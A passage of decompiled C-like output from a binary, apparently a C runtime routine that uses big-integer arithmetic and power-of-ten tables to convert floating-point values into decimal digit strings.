											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t973;
											_v1912 =  !_t973;
											if( *_t108 == 0) {
												_t1094 = 0;
												__eflags = 0;
											} else {
												_t1094 = _t1093 + 1;
											}
											_t975 = 0x20;
											_t976 = _t975 - _t1094;
											_t1157 = _t1037 + _t1199;
											__eflags = _v1876 - _t976;
											_v1892 = _t1157;
											_t977 = _t976 & 0xffffff00 | _v1876 - _t976 > 0x00000000;
											__eflags = _t1157 - 0x73;
											_v1865 = _t977;
											_t1095 = _t1094 & 0xffffff00 | _t1157 - 0x00000073 > 0x00000000;
											__eflags = _t1157 - 0x73;
											if(_t1157 != 0x73) {
												L59:
												_t978 = 0;
												__eflags = 0;
											} else {
												__eflags = _t977;
												if(_t977 == 0) {
													goto L59;
												} else {
													_t978 = 1;
												}
											}
											__eflags = _t1095;
											if(_t1095 != 0) {
												L81:
												__eflags = 0;
												_t1040 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E6E17C542( &_v468, 0x1cc,  &_v1396, 0);
												_t1249 =  &(_t1249[4]);
											} else {
												__eflags = _t978;
												if(_t978 != 0) {
													goto L81;
												} else {
													_t1096 = 0x72;
													__eflags = _t1157 - _t1096;
													if(_t1157 >= _t1096) {
														_t1157 = _t1096;
														_v1892 = _t1096;
													}
													_t988 = _t1157;
													_v1880 = _t988;
													__eflags = _t1157 - 0xffffffff;
													if(_t1157 != 0xffffffff) {
														_t1158 = _v1872;
														_t1241 = _t1157 - _t1158;
														__eflags = _t1241;
														_t1100 =  &_v468 + _t1241 * 4;
														_v1888 = _t1100;
														while(1) {
															__eflags = _t988 - _t1158;
															if(_t988 < _t1158) {
																break;
															}
															__eflags = _t1241 - _t1037;
															if(_t1241 >= _t1037) {
																_t1202 = 0;
																__eflags = 0;
															} else {
																_t1202 =  *_t1100;
															}
															__eflags = _t1241 - 1 - _t1037;
															if(_t1241 - 1 >= _t1037) {
																_t993 = 0;
																__eflags = 0;
															} else {
																_t993 =  *(_t1100 - 4);
															}
															_t996 = _v1880;
															_t1100 = _v1888 - 4;
															_v1888 = _t1100;
															 *(_t1247 + _t996 * 4 - 0x1d0) = (_t1202 & _v1884) << _v1876 | (_t993 & _v1912) >> _v1908;
															_t988 = _t996 - 1;
															_t1241 = _t1241 - 1;
															_v1880 = _t988;
															__eflags = _t988 - 0xffffffff;
															if(_t988 != 0xffffffff) {
																_t1037 = _v472;
																continue;
															}
															break;
														}
														_t1157 = _v1892;
														_t1199 = _v1872;
														_t1239 = 2;
													}
													__eflags = _t1199;
													if(_t1199 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1199 << 2);
														_t1249 =  &(_t1249[3]);
													}
													__eflags = _v1865;
													_t1040 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1157;
													} else {
														_v472 = _t1157 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1239;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1104 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1247 + _t1104 - 0x570)) -  *((intOrPtr*)(_t1247 + _t1104 - 0x1d0));
												if( *((intOrPtr*)(_t1247 + _t1104 - 0x570)) !=  *((intOrPtr*)(_t1247 + _t1104 - 0x1d0))) {
													goto L53;
												}
												_t1104 = _t1104 + 4;
												__eflags = _t1104 - 8;
												if(_t1104 != 8) {
													continue;
												} else {
													_t999 = _v1872 + 2;
													_t1000 = _t999 & 0x0000001f;
													_t1105 = 0x20;
													_t1106 = _t1105 - _t1000;
													_v1888 = _t1000;
													_t1243 = _t999 >> 5;
													_v1876 = _t1243;
													_v1908 = _t1106;
													_t1003 = E6E18F610(1, _t1106, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1004 = _t1003 - 1;
													__eflags = _t1004;
													asm("bsr ecx, edi");
													_v1884 = _t1004;
													_v1912 =  !_t1004;
													if(_t1004 == 0) {
														_t1107 = 0;
														__eflags = 0;
													} else {
														_t1107 = _t1106 + 1;
													}
													_t1006 = 0x20;
													_t1007 = _t1006 - _t1107;
													_t1160 = _t1243 + 2;
													__eflags = _v1888 - _t1007;
													_v1880 = _t1160;
													_t1008 = _t1007 & 0xffffff00 | _v1888 - _t1007 > 0x00000000;
													__eflags = _t1160 - 0x73;
													_v1865 = _t1008;
													_t1108 = _t1107 & 0xffffff00 | _t1160 - 0x00000073 > 0x00000000;
													__eflags = _t1160 - 0x73;
													if(_t1160 != 0x73) {
														L28:
														_t1009 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1008;
														if(_t1008 == 0) {
															goto L28;
														} else {
															_t1009 = 1;
														}
													}
													__eflags = _t1108;
													if(_t1108 != 0) {
														L50:
														__eflags = 0;
														_t1040 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E6E17C542( &_v468, 0x1cc,  &_v1396, 0);
														_t1249 =  &(_t1249[4]);
													} else {
														__eflags = _t1009;
														if(_t1009 != 0) {
															goto L50;
														} else {
															_t1111 = 0x72;
															__eflags = _t1160 - _t1111;
															if(_t1160 >= _t1111) {
																_t1160 = _t1111;
																_v1880 = _t1111;
															}
															_t1112 = _t1160;
															_v1892 = _t1112;
															__eflags = _t1160 - 0xffffffff;
															if(_t1160 != 0xffffffff) {
																_t1161 = _v1876;
																_t1245 = _t1160 - _t1161;
																__eflags = _t1245;
																_t1019 =  &_v468 + _t1245 * 4;
																_v1872 = _t1019;
																while(1) {
																	__eflags = _t1112 - _t1161;
																	if(_t1112 < _t1161) {
																		break;
																	}
																	__eflags = _t1245 - _t1037;
																	if(_t1245 >= _t1037) {
																		_t1208 = 0;
																		__eflags = 0;
																	} else {
																		_t1208 =  *_t1019;
																	}
																	__eflags = _t1245 - 1 - _t1037;
																	if(_t1245 - 1 >= _t1037) {
																		_t1021 = 0;
																		__eflags = 0;
																	} else {
																		_t1021 =  *(_v1872 - 4);
																	}
																	_t1117 = _v1892;
																	 *(_t1247 + _t1117 * 4 - 0x1d0) = (_t1021 & _v1912) >> _v1908 | (_t1208 & _v1884) << _v1888;
																	_t1112 = _t1117 - 1;
																	_t1245 = _t1245 - 1;
																	_t1019 = _v1872 - 4;
																	_v1892 = _t1112;
																	_v1872 = _t1019;
																	__eflags = _t1112 - 0xffffffff;
																	if(_t1112 != 0xffffffff) {
																		_t1037 = _v472;
																		continue;
																	}
																	break;
																}
																_t1160 = _v1880;
																_t1243 = _v1876;
															}
															__eflags = _t1243;
															if(_t1243 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1243 << 2);
																_t1249 =  &(_t1249[3]);
															}
															__eflags = _v1865;
															_t1040 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1160;
															} else {
																_v472 = _t1160 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1014 = 4;
													__eflags = 1;
													_v1396 = _t1014;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1014);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1040);
										_push( &_v932);
										E6E17C542();
										_t1251 =  &(_t1249[4]);
									}
									_t784 = _v1904;
									_t1061 = 0xa;
									_v1912 = _t1061;
									__eflags = _t784;
									if(_t784 < 0) {
										_t785 =  ~_t784;
										_t786 = _t785 / _t1061;
										_v1880 = _t786;
										_t1062 = _t785 % _t1061;
										_v1884 = _t1062;
										__eflags = _t786;
										if(_t786 == 0) {
											L249:
											__eflags = _t1062;
											if(_t1062 != 0) {
												_t825 =  *(0x6e1af574 + _t1062 * 4);
												_v1896 = _t825;
												__eflags = _t825;
												if(_t825 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t825 - 1;
													if(_t825 != 1) {
														_t1073 = _v472;
														__eflags = _t1073;
														if(_t1073 != 0) {
															_t1177 = 0;
															_t1225 = 0;
															__eflags = 0;
															do {
																_t1131 = _t825 *  *(_t1247 + _t1225 * 4 - 0x1d0) >> 0x20;
																 *(_t1247 + _t1225 * 4 - 0x1d0) = _t825 *  *(_t1247 + _t1225 * 4 - 0x1d0) + _t1177;
																_t825 = _v1896;
																asm("adc edx, 0x0");
																_t1225 = _t1225 + 1;
																_t1177 = _t1131;
																__eflags = _t1225 - _t1073;
															} while (_t1225 != _t1073);
															__eflags = _t1177;
															if(_t1177 != 0) {
																_t832 = _v472;
																__eflags = _t832 - 0x73;
																if(_t832 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1247 + _t832 * 4 - 0x1d0) = _t1177;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t786 - 0x26;
												if(_t786 > 0x26) {
													_t786 = 0x26;
												}
												_t1074 =  *(0x6e1af4de + _t786 * 4) & 0x000000ff;
												_v1872 = _t786;
												_v1400 = ( *(0x6e1af4de + _t786 * 4) & 0x000000ff) + ( *(0x6e1af4df + _t786 * 4) & 0x000000ff);
												E6E1757E0(_t1074 << 2,  &_v1396, 0, _t1074 << 2);
												_t843 = E6E174CE0( &(( &_v1396)[_t1074]), 0x6e1aebd8 + ( *(0x6e1af4dc + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x6e1af4df + _t786 * 4) & 0x000000ff) << 2);
												_t1075 = _v1400;
												_t1251 =  &(_t1251[6]);
												_v1892 = _t1075;
												__eflags = _t1075 - 1;
												if(_t1075 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1075 - _v472;
														_t1180 =  &_v1396;
														_t844 = _t843 & 0xffffff00 | _t1075 - _v472 > 0x00000000;
														__eflags = _t844;
														if(_t844 != 0) {
															_t1132 =  &_v468;
														} else {
															_t1180 =  &_v468;
															_t1132 =  &_v1396;
														}
														_v1908 = _t1132;
														__eflags = _t844;
														if(_t844 == 0) {
															_t1075 = _v472;
														}
														_v1876 = _t1075;
														__eflags = _t844;
														if(_t844 != 0) {
															_v1892 = _v472;
														}
														_t1133 = 0;
														_t1227 = 0;
														_v1864 = 0;
														__eflags = _t1075;
														if(_t1075 == 0) {
															L243:
															_v472 = _t1133;
															_t846 = _t1133 << 2;
															__eflags = _t846;
															_push(_t846);
															_t847 =  &_v1860;
															goto L244;
														} else {
															_t1181 = _t1180 -  &_v1860;
															__eflags = _t1181;
															_v1928 = _t1181;
															do {
																_t854 =  *(_t1247 + _t1181 + _t1227 * 4 - 0x740);
																_v1896 = _t854;
																__eflags = _t854;
																if(_t854 != 0) {
																	_t855 = 0;
																	_t1182 = 0;
																	_t1076 = _t1227;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1076 - 0x73;
																		if(_t1076 == 0x73) {
																			goto L258;
																		} else {
																			_t1181 = _v1928;
																			_t1075 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1076 - 0x73;
																			if(_t1076 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1076 - _t1133;
																			if(_t1076 == _t1133) {
																				 *(_t1247 + _t1076 * 4 - 0x740) =  *(_t1247 + _t1076 * 4 - 0x740) & 0x00000000;
																				_t867 = _t855 + 1 + _t1227;
																				__eflags = _t867;
																				_v1864 = _t867;
																				_t855 = _v1888;
																			}
																			_t862 =  *(_v1908 + _t855 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1247 + _t1076 * 4 - 0x740) =  *(_t1247 + _t1076 * 4 - 0x740) + _t862 * _v1896 + _t1182;
																			asm("adc edx, 0x0");
																			_t855 = _v1888 + 1;
																			_t1076 = _t1076 + 1;
																			_v1888 = _t855;
																			_t1182 = _t862 * _v1896 >> 0x20;
																			_t1133 = _v1864;
																			__eflags = _t855 - _v1892;
																			if(_t855 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1182;
																				if(_t1182 == 0) {
																					goto L240;
																				}
																				__eflags = _t1076 - 0x73;
																				if(_t1076 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1076 - _t1133;
																					if(_t1076 == _t1133) {
																						_t558 = _t1247 + _t1076 * 4 - 0x740;
																						 *_t558 =  *(_t1247 + _t1076 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1076 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t860 = _t1182;
																					_t1182 = 0;
																					 *(_t1247 + _t1076 * 4 - 0x740) =  *(_t1247 + _t1076 * 4 - 0x740) + _t860;
																					_t1133 = _v1864;
																					asm("adc edi, edi");
																					_t1076 = _t1076 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1227 - _t1133;
																	if(_t1227 == _t1133) {
																		 *(_t1247 + _t1227 * 4 - 0x740) =  *(_t1247 + _t1227 * 4 - 0x740) & _t854;
																		_t526 = _t1227 + 1; // 0x1
																		_t1133 = _t526;
																		_v1864 = _t1133;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1227 = _t1227 + 1;
																__eflags = _t1227 - _t1075;
															} while (_t1227 != _t1075);
															goto L243;
														}
													} else {
														_t1183 = _v468;
														_v472 = _t1075;
														E6E17C542( &_v468, _t1040,  &_v1396, _t1075 << 2);
														_t1251 =  &(_t1251[4]);
														__eflags = _t1183;
														if(_t1183 == 0) {
															goto L203;
														} else {
															__eflags = _t1183 - 1;
															if(_t1183 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1077 = 0;
																	_v1896 = _v472;
																	_t1228 = 0;
																	__eflags = 0;
																	do {
																		_t876 = _t1183;
																		_t1134 = _t876 *  *(_t1247 + _t1228 * 4 - 0x1d0) >> 0x20;
																		 *(_t1247 + _t1228 * 4 - 0x1d0) = _t876 *  *(_t1247 + _t1228 * 4 - 0x1d0) + _t1077;
																		asm("adc edx, 0x0");
																		_t1228 = _t1228 + 1;
																		_t1077 = _t1134;
																		__eflags = _t1228 - _v1896;
																	} while (_t1228 != _v1896);
																	goto L208;
																}
															}
														}
													}
												} else {
													_t1184 = _v1396;
													__eflags = _t1184;
													if(_t1184 != 0) {
														__eflags = _t1184 - 1;
														if(_t1184 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1078 = 0;
																_v1896 = _v472;
																_t1229 = 0;
																__eflags = 0;
																do {
																	_t881 = _t1184;
																	_t1135 = _t881 *  *(_t1247 + _t1229 * 4 - 0x1d0) >> 0x20;
																	 *(_t1247 + _t1229 * 4 - 0x1d0) = _t881 *  *(_t1247 + _t1229 * 4 - 0x1d0) + _t1078;
																	asm("adc edx, 0x0");
																	_t1229 = _t1229 + 1;
																	_t1078 = _t1135;
																	__eflags = _t1229 - _v1896;
																} while (_t1229 != _v1896);
																L208:
																__eflags = _t1077;
																if(_t1077 == 0) {
																	goto L245;
																} else {
																	_t879 = _v472;
																	__eflags = _t879 - 0x73;
																	if(_t879 >= 0x73) {
																		L258:
																		_v2408 = 0;
																		_v472 = 0;
																		E6E17C542( &_v468, _t1040,  &_v2404, 0);
																		_t1251 =  &(_t1251[4]);
																		_t850 = 0;
																	} else {
																		 *(_t1247 + _t879 * 4 - 0x1d0) = _t1077;
																		_v472 = _v472 + 1;
																		goto L245;
																	}
																}
															}
														}
													} else {
														L203:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t847 =  &_v2404;
														L244:
														_push(_t847);
														_push(_t1040);
														_push( &_v468);
														E6E17C542();
														_t1251 =  &(_t1251[4]);
														L245:
														_t850 = 1;
													}
												}
												L246:
												__eflags = _t850;
												if(_t850 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L261:
													_push( &_v2404);
													_t828 =  &_v468;
													goto L262;
												} else {
													goto L247;
												}
												goto L263;
												L247:
												_t786 = _v1880 - _v1872;
												__eflags = _t786;
												_v1880 = _t786;
											} while (_t786 != 0);
											_t1062 = _v1884;
											goto L249;
										}
									} else {
										_t884 = _t784 / _t1061;
										_v1908 = _t884;
										_t1079 = _t784 % _t1061;
										_v1896 = _t1079;
										__eflags = _t884;
										if(_t884 == 0) {
											L184:
											__eflags = _t1079;
											if(_t1079 != 0) {
												_t1185 =  *(0x6e1af574 + _t1079 * 4);
												__eflags = _t1185;
												if(_t1185 != 0) {
													__eflags = _t1185 - 1;
													if(_t1185 != 1) {
														_t885 = _v936;
														_v1896 = _t885;
														__eflags = _t885;
														if(_t885 != 0) {
															_t1230 = 0;
															_t1080 = 0;
															__eflags = 0;
															do {
																_t886 = _t1185;
																_t1139 = _t886 *  *(_t1247 + _t1080 * 4 - 0x3a0) >> 0x20;
																 *(_t1247 + _t1080 * 4 - 0x3a0) = _t886 *  *(_t1247 + _t1080 * 4 - 0x3a0) + _t1230;
																asm("adc edx, 0x0");
																_t1080 = _t1080 + 1;
																_t1230 = _t1139;
																__eflags = _t1080 - _v1896;
															} while (_t1080 != _v1896);
															__eflags = _t1230;
															if(_t1230 != 0) {
																_t889 = _v936;
																__eflags = _t889 - 0x73;
																if(_t889 >= 0x73) {
																	goto L186;
																} else {
																	 *(_t1247 + _t889 * 4 - 0x3a0) = _t1230;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L186:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L190;
												}
											}
										} else {
											do {
												__eflags = _t884 - 0x26;
												if(_t884 > 0x26) {
													_t884 = 0x26;
												}
												_t1081 =  *(0x6e1af4de + _t884 * 4) & 0x000000ff;
												_v1888 = _t884;
												_v1400 = ( *(0x6e1af4de + _t884 * 4) & 0x000000ff) + ( *(0x6e1af4df + _t884 * 4) & 0x000000ff);
												E6E1757E0(_t1081 << 2,  &_v1396, 0, _t1081 << 2);
												_t902 = E6E174CE0( &(( &_v1396)[_t1081]), 0x6e1aebd8 + ( *(0x6e1af4dc + _v1888 * 4) & 0x0000ffff) * 4, ( *(0x6e1af4df + _t884 * 4) & 0x000000ff) << 2);
												_t1082 = _v1400;
												_t1251 =  &(_t1251[6]);
												_v1892 = _t1082;
												__eflags = _t1082 - 1;
												if(_t1082 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1082 - _v936;
														_t1188 =  &_v1396;
														_t903 = _t902 & 0xffffff00 | _t1082 - _v936 > 0x00000000;
														__eflags = _t903;
														if(_t903 != 0) {
															_t1140 =  &_v932;
														} else {
															_t1188 =  &_v932;
															_t1140 =  &_v1396;
														}
														_v1876 = _t1140;
														__eflags = _t903;
														if(_t903 == 0) {
															_t1082 = _v936;
														}
														_v1880 = _t1082;
														__eflags = _t903;
														if(_t903 != 0) {
															_v1892 = _v936;
														}
														_t1141 = 0;
														_t1232 = 0;
														_v1864 = 0;
														__eflags = _t1082;
														if(_t1082 == 0) {
															L177:
															_v936 = _t1141;
															_t905 = _t1141 << 2;
															__eflags = _t905;
															goto L178;
														} else {
															_t1189 = _t1188 -  &_v1860;
															__eflags = _t1189;
															_v1928 = _t1189;
															do {
																_t913 =  *(_t1247 + _t1189 + _t1232 * 4 - 0x740);
																_v1884 = _t913;
																__eflags = _t913;
																if(_t913 != 0) {
																	_t914 = 0;
																	_t1190 = 0;
																	_t1083 = _t1232;
																	_v1872 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L174:
																		__eflags = _t1083 - 0x73;
																		if(_t1083 == 0x73) {
																			goto L187;
																		} else {
																			_t1189 = _v1928;
																			_t1082 = _v1880;
																			goto L176;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1083 - 0x73;
																			if(_t1083 == 0x73) {
																				goto L169;
																			}
																			__eflags = _t1083 - _t1141;
																			if(_t1083 == _t1141) {
																				 *(_t1247 + _t1083 * 4 - 0x740) =  *(_t1247 + _t1083 * 4 - 0x740) & 0x00000000;
																				_t926 = _t914 + 1 + _t1232;
																				__eflags = _t926;
																				_v1864 = _t926;
																				_t914 = _v1872;
																			}
																			_t921 =  *(_v1876 + _t914 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1247 + _t1083 * 4 - 0x740) =  *(_t1247 + _t1083 * 4 - 0x740) + _t921 * _v1884 + _t1190;
																			asm("adc edx, 0x0");
																			_t914 = _v1872 + 1;
																			_t1083 = _t1083 + 1;
																			_v1872 = _t914;
																			_t1190 = _t921 * _v1884 >> 0x20;
																			_t1141 = _v1864;
																			__eflags = _t914 - _v1892;
																			if(_t914 != _v1892) {
																				continue;
																			} else {
																				goto L169;
																			}
																			while(1) {
																				L169:
																				__eflags = _t1190;
																				if(_t1190 == 0) {
																					goto L174;
																				}
																				__eflags = _t1083 - 0x73;
																				if(_t1083 == 0x73) {
																					L187:
																					__eflags = 0;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t916 =  &_v2404;
																					goto L188;
																				} else {
																					__eflags = _t1083 - _t1141;
																					if(_t1083 == _t1141) {
																						_t370 = _t1247 + _t1083 * 4 - 0x740;
																						 *_t370 =  *(_t1247 + _t1083 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t370;
																						_t376 = _t1083 + 1; // 0x1
																						_v1864 = _t376;
																					}
																					_t919 = _t1190;
																					_t1190 = 0;
																					 *(_t1247 + _t1083 * 4 - 0x740) =  *(_t1247 + _t1083 * 4 - 0x740) + _t919;
																					_t1141 = _v1864;
																					asm("adc edi, edi");
																					_t1083 = _t1083 + 1;
																					continue;
																				}
																				goto L181;
																			}
																			goto L174;
																		}
																		goto L169;
																	}
																} else {
																	__eflags = _t1232 - _t1141;
																	if(_t1232 == _t1141) {
																		 *(_t1247 + _t1232 * 4 - 0x740) =  *(_t1247 + _t1232 * 4 - 0x740) & _t913;
																		_t338 = _t1232 + 1; // 0x1
																		_t1141 = _t338;
																		_v1864 = _t1141;
																	}
																	goto L176;
																}
																goto L181;
																L176:
																_t1232 = _t1232 + 1;
																__eflags = _t1232 - _t1082;
															} while (_t1232 != _t1082);
															goto L177;
														}
													} else {
														_t1191 = _v932;
														_v936 = _t1082;
														E6E17C542( &_v932, _t1040,  &_v1396, _t1082 << 2);
														_t1251 =  &(_t1251[4]);
														__eflags = _t1191;
														if(_t1191 != 0) {
															__eflags = _t1191 - 1;
															if(_t1191 == 1) {
																goto L180;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L180;
																} else {
																	_t1084 = 0;
																	_v1884 = _v936;
																	_t1233 = 0;
																	__eflags = 0;
																	do {
																		_t934 = _t1191;
																		_t1142 = _t934 *  *(_t1247 + _t1233 * 4 - 0x3a0) >> 0x20;
																		 *(_t1247 + _t1233 * 4 - 0x3a0) = _t934 *  *(_t1247 + _t1233 * 4 - 0x3a0) + _t1084;
																		asm("adc edx, 0x0");
																		_t1233 = _t1233 + 1;
																		_t1084 = _t1142;
																		__eflags = _t1233 - _v1884;
																	} while (_t1233 != _v1884);
																	goto L149;
																}
															}
														} else {
															_v1400 = 0;
															_v936 = 0;
															_push(0);
															_t906 =  &_v1396;
															goto L179;
														}
													}
												} else {
													_t1192 = _v1396;
													__eflags = _t1192;
													if(_t1192 != 0) {
														__eflags = _t1192 - 1;
														if(_t1192 == 1) {
															goto L180;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L180;
															} else {
																_t1085 = 0;
																_v1884 = _v936;
																_t1234 = 0;
																__eflags = 0;
																do {
																	_t941 = _t1192;
																	_t1143 = _t941 *  *(_t1247 + _t1234 * 4 - 0x3a0) >> 0x20;
																	 *(_t1247 + _t1234 * 4 - 0x3a0) = _t941 *  *(_t1247 + _t1234 * 4 - 0x3a0) + _t1085;
																	asm("adc edx, 0x0");
																	_t1234 = _t1234 + 1;
																	_t1085 = _t1143;
																	__eflags = _t1234 - _v1884;
																} while (_t1234 != _v1884);
																L149:
																__eflags = _t1084;
																if(_t1084 == 0) {
																	goto L180;
																} else {
																	_t937 = _v936;
																	__eflags = _t937 - 0x73;
																	if(_t937 < 0x73) {
																		 *(_t1247 + _t937 * 4 - 0x3a0) = _t1084;
																		_v936 = _v936 + 1;
																		goto L180;
																	} else {
																		_v1400 = 0;
																		_v936 = 0;
																		_push(0);
																		_t916 =  &_v1396;
																		L188:
																		_push(_t916);
																		_push(_t1040);
																		_push( &_v932);
																		E6E17C542();
																		_t1251 =  &(_t1251[4]);
																		_t909 = 0;
																	}
																}
															}
														}
													} else {
														_t905 = 0;
														_v1864 = 0;
														_v936 = 0;
														L178:
														_push(_t905);
														_t906 =  &_v1860;
														L179:
														_push(_t906);
														_push(_t1040);
														_push( &_v932);
														E6E17C542();
														_t1251 =  &(_t1251[4]);
														L180:
														_t909 = 1;
													}
												}
												L181:
												__eflags = _t909;
												if(_t909 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_t404 =  &_v936;
													 *_t404 = _v936 & 0x00000000;
													__eflags =  *_t404;
													_push(0);
													L190:
													_push( &_v2404);
													_t828 =  &_v932;
													L262:
													_push(_t1040);
													_push(_t828);
													E6E17C542();
													_t1251 =  &(_t1251[4]);
												} else {
													goto L182;
												}
												goto L263;
												L182:
												_t884 = _v1908 - _v1888;
												__eflags = _t884;
												_v1908 = _t884;
											} while (_t884 != 0);
											_t1079 = _v1896;
											goto L184;
										}
									}
									L263:
									_t1172 = _v1920;
									_t1220 = _t1172;
									_t1063 = _v472;
									_v1872 = _t1220;
									__eflags = _t1063;
									if(_t1063 != 0) {
										_t1224 = 0;
										_t1176 = 0;
										__eflags = 0;
										do {
											_t817 =  *(_t1247 + _t1176 * 4 - 0x1d0);
											_t1129 = 0xa;
											_t1130 = _t817 * _t1129 >> 0x20;
											 *(_t1247 + _t1176 * 4 - 0x1d0) = _t817 * _t1129 + _t1224;
											asm("adc edx, 0x0");
											_t1176 = _t1176 + 1;
											_t1224 = _t1130;
											__eflags = _t1176 - _t1063;
										} while (_t1176 != _t1063);
										_v1896 = _t1224;
										__eflags = _t1224;
										_t1220 = _v1872;
										if(_t1224 != 0) {
											_t1072 = _v472;
											__eflags = _t1072 - 0x73;
											if(_t1072 >= 0x73) {
												__eflags = 0;
												_v2408 = 0;
												_v472 = 0;
												E6E17C542( &_v468, _t1040,  &_v2404, 0);
												_t1251 =  &(_t1251[4]);
											} else {
												 *(_t1247 + _t1072 * 4 - 0x1d0) = _t1130;
												_v472 = _v472 + 1;
											}
										}
										_t1172 = _t1220;
									}
									_t789 = E6E17CEC0( &_v472,  &_v936);
									_t1122 = 0xa;
									__eflags = _t789 - _t1122;
									if(_t789 != _t1122) {
										__eflags = _t789;
										if(_t789 != 0) {
											_t790 = _t789 + 0x30;
											__eflags = _t790;
											_t1220 = _t1172 + 1;
											 *_t1172 = _t790;
											_v1872 = _t1220;
											goto L282;
										} else {
											_t791 = _v1904 - 1;
										}
									} else {
										_v1904 = _v1904 + 1;
										_t1220 = _t1172 + 1;
										_t808 = _v936;
										 *_t1172 = 0x31;
										_v1872 = _t1220;
										__eflags = _t808;
										if(_t808 != 0) {
											_t1175 = 0;
											_t1223 = _t808;
											_t1071 = 0;
											__eflags = 0;
											do {
												_t809 =  *(_t1247 + _t1071 * 4 - 0x3a0);
												 *(_t1247 + _t1071 * 4 - 0x3a0) = _t809 * _t1122 + _t1175;
												asm("adc edx, 0x0");
												_t1071 = _t1071 + 1;
												_t1175 = _t809 * _t1122 >> 0x20;
												_t1122 = 0xa;
												__eflags = _t1071 - _t1223;
											} while (_t1071 != _t1223);
											_t1220 = _v1872;
											__eflags = _t1175;
											if(_t1175 != 0) {
												_t812 = _v936;
												__eflags = _t812 - 0x73;
												if(_t812 >= 0x73) {
													_v2408 = 0;
													_v936 = 0;
													E6E17C542( &_v932, _t1040,  &_v2404, 0);
													_t1251 =  &(_t1251[4]);
												} else {
													 *(_t1247 + _t812 * 4 - 0x3a0) = _t1175;
													_v936 = _v936 + 1;
												}
											}
										}
										L282:
										_t791 = _v1904;
									}
									 *((intOrPtr*)(_v1924 + 4)) = _t791;
									_t1046 = _v1916;
									__eflags = _t791;
									if(_t791 >= 0) {
										__eflags = _t1046 - 0x7fffffff;
										if(_t1046 <= 0x7fffffff) {
											_t1046 = _t1046 + _t791;
											__eflags = _t1046;
										}
									}
									_t793 = _a24 - 1;
									__eflags = _t793 - _t1046;
									if(_t793 >= _t1046) {
										_t793 = _t1046;
									}
									_t794 = _t793 + _v1920;
									_v1916 = _t794;
									__eflags = _t1220 - _t794;
									if(__eflags != 0) {
										while(1) {
											_t795 = _v472;
											__eflags = _t795;
											if(__eflags == 0) {
												goto L303;
											}
											_t1173 = 0;
											_t1221 = _t795;
											_t1067 = 0;
											__eflags = 0;
											do {
												_t796 =  *(_t1247 + _t1067 * 4 - 0x1d0);
												 *(_t1247 + _t1067 * 4 - 0x1d0) = _t796 * 0x3b9aca00 + _t1173;
												asm("adc edx, 0x0");
												_t1067 = _t1067 + 1;
												_t1173 = _t796 * 0x3b9aca00 >> 0x20;
												__eflags = _t1067 - _t1221;
											} while (_t1067 != _t1221);
											_t1222 = _v1872;
											__eflags = _t1173;
											if(_t1173 != 0) {
												_t802 = _v472;
												__eflags = _t802 - 0x73;
												if(_t802 >= 0x73) {
													__eflags = 0;
													_v2408 = 0;
													_v472 = 0;
													E6E17C542( &_v468, _t1040,  &_v2404, 0);
													_t1251 =  &(_t1251[4]);
												} else {
													 *(_t1247 + _t802 * 4 - 0x1d0) = _t1173;
													_v472 = _v472 + 1;
												}
											}
											_t801 = E6E17CEC0( &_v472,  &_v936);
											_t1174 = 8;
											_t1046 = _v1916 - _t1222;
											__eflags = _t1046;
											do {
												_t708 = _t801 % _v1912;
												_t801 = _t801 / _v1912;
												_t1127 = _t708 + 0x30;
